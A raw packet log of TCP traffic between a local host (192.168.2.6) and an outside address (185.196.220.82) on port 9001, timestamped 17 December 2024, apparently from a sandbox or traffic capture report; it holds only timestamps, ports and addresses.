Dec 17, 2024 11:49:51.947211027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.947232008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.947246075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.947660923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.947707891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.947743893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.947776079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.948447943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.948504925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.948570013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.949363947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.949424982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.949445963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.949935913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.950011969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.950031996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.950073957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.950808048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.950854063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.950861931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.950891018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.951848030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.951936007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.951971054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.951984882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.952399015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.952598095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.952651024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.953160048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.953207970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.953270912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.953310966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.953943968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.954104900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.954130888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.954149961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.954745054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.954821110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.954852104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.954920053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.955522060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.955620050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.955667973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.956312895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.956399918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.956451893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.957114935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.957168102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.957268953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.957617998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.957914114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.957993984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.958014965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.958060980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.958651066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.958755970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.958836079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.959469080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.959538937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.959625006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.959681988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.048986912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.049062967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.049216986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.049366951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.049452066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.049500942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.050147057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.050198078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.050256014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.050641060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.050932884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.051049948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.051177979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.051297903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.051740885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.051810026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.051855087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.052474976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.052570105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.052635908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.053297997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.053323030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.053347111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.053365946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.054092884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.054105997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.054142952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.054869890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.054927111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.054944992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.055160999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.055640936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.055706024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.055850029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.055896997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.056400061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.056521893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.056587934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.057183981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.057235003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.057337999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.057459116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.058027029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.058039904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.058088064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.058803082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.058893919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.058947086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.059638023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.059650898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.059690952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.059703112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.060458899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.060472965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.060525894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.061147928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.061193943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.061196089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.061414003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.061913013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.061964035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.062047958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.062465906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.062839985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.062899113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.062951088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.063481092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.063544989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.063548088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.063595057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.064268112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.064372063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.064434052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.065067053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.065114021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.065119028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.065171003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.065843105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.065895081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.065999985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.066036940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.066637039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.066708088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.066735983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.066821098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.067414999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.067466021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.067548990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.067589998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.068206072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.068320036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.068377018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.068994045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.069005013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.069041967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.069052935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.078485966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.132090092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.132150888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.132164955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.132201910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.132419109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.132450104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.132464886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.132704973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.133327007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.133374929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.133646965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.133697033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.134085894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.134135962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.134167910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.134284973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.134864092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.134984970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.134999990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.135117054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.135572910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.135626078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.135667086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.135813951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.136540890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.136605024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.136606932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.136662006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.137578964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.137640953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.137762070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.138036966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.138171911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.138217926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.139249086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.139307022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.139411926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.139458895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.140021086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.140171051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.140213966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.141102076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.141149044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.141771078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.141808033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.141840935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.141875029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.142302036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.142529011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.142558098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.142579079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.143330097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.143403053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.143445015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.143960953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.143997908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.144005060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.144121885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.144283056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.144330978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.144556046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.144996881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.145061970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.145104885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.145195007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.145780087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.145848989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.145894051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.146610022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.146837950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.147403955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.147418976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.147458076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.147468090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.148118019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.148253918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.148960114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.149012089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.149015903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.149050951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.149734020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.149807930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.149857044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.150542021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.150743008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.151321888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.151379108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.151390076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.151669025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.152086973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.152149916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.153006077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.172804117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.184149981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.191931963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.192228079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.241108894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.241122961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.241288900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.241447926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.241524935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.241666079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.242203951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.242314100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.242368937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.243007898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.243022919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.243050098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.243067980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.243792057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.243916035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.243964911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.244581938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.244654894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.244740009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.244779110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.245337009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.245388031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.245440960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.245481014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.246124983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.246185064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.246239901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.246906996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.246926069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.246963024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.247009039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.247059107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.247703075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.247766972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.247814894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.247853994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.248495102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.248583078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.248657942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.249285936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.249355078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.249377012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.249388933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.250111103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.250216007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.250248909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.250365019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.250844002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.250891924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.250912905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.250925064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.251631975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.251683950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.251720905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.251760960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.252423048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.252477884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.252521992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.252691031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.253206968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.253274918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.253334045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.254045963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.254111052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.254183054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.254298925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.254791021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.254865885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.254914045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.255670071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.255719900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.255728960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.255769968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.256418943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.256433010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.256515980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.257154942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.257214069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.257237911 CET	9001	49784	185.196.220.82	192.168.2.6
